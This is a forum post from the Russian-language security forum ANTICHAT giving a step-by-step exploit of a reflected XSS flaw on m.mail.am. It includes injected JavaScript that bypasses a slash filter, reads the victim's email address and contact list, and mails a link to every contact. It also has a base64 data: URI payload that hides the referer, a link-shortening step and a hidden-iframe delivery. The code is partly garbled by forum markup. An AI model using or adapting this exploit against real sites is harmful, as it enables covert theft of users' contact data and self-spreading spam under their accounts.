HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 22.05.2011, 16:45
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

Большинство людей применяют XSS только для того, чтобы получить чужие куки и использовать их в своих целях.

Но даже если использовать чужие куки невозможно (например, из-за привязки к IP), из XSS можно выжать еще многое.

В этом примере я покажу, как через пассивную XSS узнать мыло авторизованного пользователя mail.am, получить его контакт-лист и разослать по контакт-листу ссылку на свой сайт.

1) Пассивная XSS на сайте

http://m.mail.am/mail/reademail.php?id=x&folder=x

Уязвимый параметр - folder. Фильтруется слэш. Запрос можно передавать через POST

2) Внедряемый JS-код

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]String[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]fromCharCode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]47[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// переменная для обхода фильтрации слэша

[/COLOR][COLOR="#0000BB"]xmlhttp[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]XMLHttpRequest[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]xmlhttp[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'GET'[/COLOR][COLOR="#007700"],

[/COLOR][COLOR="#DD0000"]'http:'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'m.mail.am'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'mail'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'abook.php?func=open'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]xmlhttp[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]send[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// запрос для получения страницы адресной книги

[/COLOR][COLOR="#0000BB"]newBody[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'body'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]newBody[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]xmlhttp[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]responseText[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]myEmail[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]newBody[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]split[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]' - '[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];[/COLOR][COLOR="#FF8000"]// получение мыла пользователя со страницы ("Mail.AM - user@mail.am - {Address book}")

[/COLOR][COLOR="#0000BB"]email[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]inputList[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]newBody[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'input'[/COLOR][COLOR="#007700"]);

for([/
COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][/COLOR][/COLOR
Форма автоматической отправки POST-запроса на mail.am со своего сайта:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

"[/COLOR][COLOR="#007700"]>

[/COLOR][/COLOR
Чтобы скрыть реферер при отправке POST-запроса, используется протокол data:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]html[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]base64[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]PGJvZHkgb25sb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgneCcpLnN1Ym1pdCgpOyI[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]2bPGZvcm0gaWQ9J3gnIGFjdGlvbj0iaHR0cDovL20ubWFpbC5hbS9tYWlsL3JlYWRlbWFpbC5waHAiIG1ldGhvZD0icG9zdCI[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]2bPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlkIiB2YWx1ZT0ieCI[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]2bPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZvbGRlciIgdmFsdWU9Ijxib2R5IG9ubG9hZD0mcXVvdDtzPVN0cmluZy5mcm9tQ2hhckNvZGUoNDcpO3g9bmV3IFhNTEh0dHBSZXF1ZXN0O3gub3BlbignR0VUJywnaHR0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ2Fib29rLnBocD9mdW5jPW9wZW4nLGZhbHNlKTt4LnNlbmQobnVsbCk7Yj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdib2R5Jyk7Yi5pbm5lckhUTUw9eC5yZXNwb25zZVRleHQ7aWw9Yi5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTtlbT1iLmdldEVsZW1lbnRzQnlUYWdOYW1lKCd0aXRsZScpWzBdLmlubmVySFRNTC5zcGxpdCgnIC0gJylbMV07ZT0nJztmb3IoaT0wO2k8aWwubGVuZ3RoO2klMmIlMmIpe2lmKGlsW2ldLm5hbWU9PSdUbycpe2UlMmI9aWxbaV0udmFsdWUlMmInLCc7fX1hbGVydChlbSUyYic6JyUyYmUpO2Z1bmN0aW9uIGEocCxuLHYpe2k9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTtpLnR5cGU9J2hpZGRlbic7aS5uYW1lPW47aS52YWx1ZT12O3AuYXBwZW5kQ2hpbGQoaSk7fWY9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpO2YubWV0aG9kPSdQT1NUJztmLmFjdGlvbj0naHR0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ3NlbmRtYWlsLnBocCc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXS5hcHBlbmRDaGlsZChmKTthKGYsJ2VtYWlsbWVzc2FnZScsJ2h0dHA6JyUyYnMlMmJzJTJiJ215c2l0ZS5jb20nKTthKGYsJ2VtYWlsZnJvbScsZW0pO2EoZiwnZW1haWx0bycsZSk7YShmLCdlbWFpbHN1YmplY3QnLCdoZWxsbycpO2Yuc3VibWl0KCk7JnF1b3Q7PiI[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]2bPGlucHV0IHR5cGU9InN1Ym1pdCI[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]2bPC9mb3JtPjwvYm9keT4[/COLOR][COLOR="#007700"]=[/COLOR][/COLOR
Полученую ссылку можно уменьшить через любой сервсис сокращения, например tinyurl.com:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//tinyurl.com/mailamtest

[/COLOR][/COLOR
Добавляем скрытый фрейм на свой сайт:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
Теперь любой авторизованный пользователь mail.am, заходящий на сайт, незаметно будет отправлять по своему КЛ нужное сообщение.

P.S.:

Пример не работает:

в IE=8 и хроме из-за XSS-фильтров
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ